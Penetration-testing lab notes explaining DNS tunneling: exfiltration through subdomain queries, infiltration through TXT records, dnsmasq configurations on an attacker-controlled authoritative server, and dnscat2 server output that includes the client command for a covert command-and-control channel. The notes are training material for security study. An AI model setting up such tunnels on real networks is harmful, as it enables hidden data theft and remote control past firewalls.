DNS Tunneling

Data Exfil Theory

Domain Name System (DNS) is a protocol used to translate human-readable domain names into IP addresses, which are necessary for routing internet traffic. Because DNS traffic is typically allowed through firewalls, attackers can abuse it to tunnel data in and out of restricted networks. When a client requests the IP address for a domain like www.example.com, it typically contacts a recursive resolver. The resolver queries, typically via UDP port 53, a hierarchy of DNS servers in this order:

  1. Root name server: Directs the resolver to the appropriate Top-Level Domain (TLD) name server based on the domain suffix (e.g., .com).

  2. Top Level Domain (TLD) name server: Refers the resolver to the authoritative name server for the specific domain.

  3. Authoritative name server: Holds the actual DNS records and returns the requested IP address via an A record.

In our scenario:

  • FELINEAUTHORITY is positoned in the WAN alongside our Kali host and acts as the authoritative name server for the feline.corp zone.

  • MULTISERVER03, CONFLUENCE01, and Kali can route to it, but PGDATABASE01 and HRSHARES cannot.

  • PGDATABASE01 uses MULTISERVER03 as its DNS resolver.

When PGDATABASE01 sends a DNS query for exfiltrated-data.feline.corp, it forwards the request to MULTISERVER03, which then forwards it to FELINEAUTHORITY since it’s authoritative for the zone. The dnsmasq service running on FELINEAUTHORITY responds to the query with NXDOMAIN (request failed) since it is not configured to respond for this specific URL (it does not have an A record for it).

# the DNS configuration on FELINEAUTHORITY 
kali@felineauthority:~/dns_tunneling$ cat dnsmasq.conf
# Do not read /etc/resolv.conf or /etc/hosts
no-resolv
no-hosts

# Define the zone
auth-zone=feline.corp
auth-server=feline.corp

In the above scenario, an arbitrary DNS query from an internal host with no other outbound connectivity (PGDATABASE01) has found its way to an external server we control (FELINEAUTHORITY). This makes DNS a potential covert channel for exfiltration. Data can be split into chunks, converted to a safe format like hexadecimal or Base64, and sent via the subdomain part of DNS queries (e.g.,chunk1 on chunk1.feline.corp). The authoritative server logs these and reconstructs the data.

Data Infil Theory

Conversely, arbitrary data can be infiltrated using DNS TXT records, a DNS record type designed to carry arbitrary string data. Configuring dnsmasq to serve TXT records allows a remote client to query for them using tools like nslookup, receiving back the configured string values. This can be expanded to deliver encoded files or commands into isolated networks.

# the DNS configuration on FELINEAUTORITY
kali@felineauthority:~/dns_tunneling$ cat dnsmasq_txt.conf
# Do not read /etc/resolv.conf or /etc/hosts
no-resolv
no-hosts

# Define the zone
auth-zone=feline.corp
auth-server=feline.corp

# TXT record
txt-record=www.feline.corp,here's something useful!
txt-record=www.feline.corp,here's something else less useful.

This bidirectional data exchange capability via DNS underpins techniques like DNS tunneling, where tools (e.g., dnscat2) encode traffic into DNS queries and responses to bypass typical network restrictions.

dnscat2

dnscat2 is a tool for creating a covert command-and-control (C2) channel using DNS queries and responses. It can exfiltrate data by embedding it in DNS subdomain queries and receive data through DNS record types like TXT, CNAME, and MX.

A typical setup involves running a dnscat2 server on an authoritative DNS server for a chosen domain, and a dnscat2 client on a compromised host configured to query that domain. This forms a tunnel through standard DNS traffic, often overlooked by firewalls.

# start the dnscat2 server on the authoritative name server
kali@felineauthority:~$ dnscat2-server feline.corp

New window created: 0
dnscat2> New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = feline.corp]...

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):

  ./dnscat --secret=0adfe7049681d1c76d66ea8f6a0c83d1 feline.corp

To talk directly to the server without a domain name, run:

  ./dnscat --dns server=x.x.x.x,port=53 --secret=0adfe7049681d1c76d66ea8f6a0c83d1

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
PreviousHTTP TunnelingNextNetworking 101

Last updated

Was this helpful?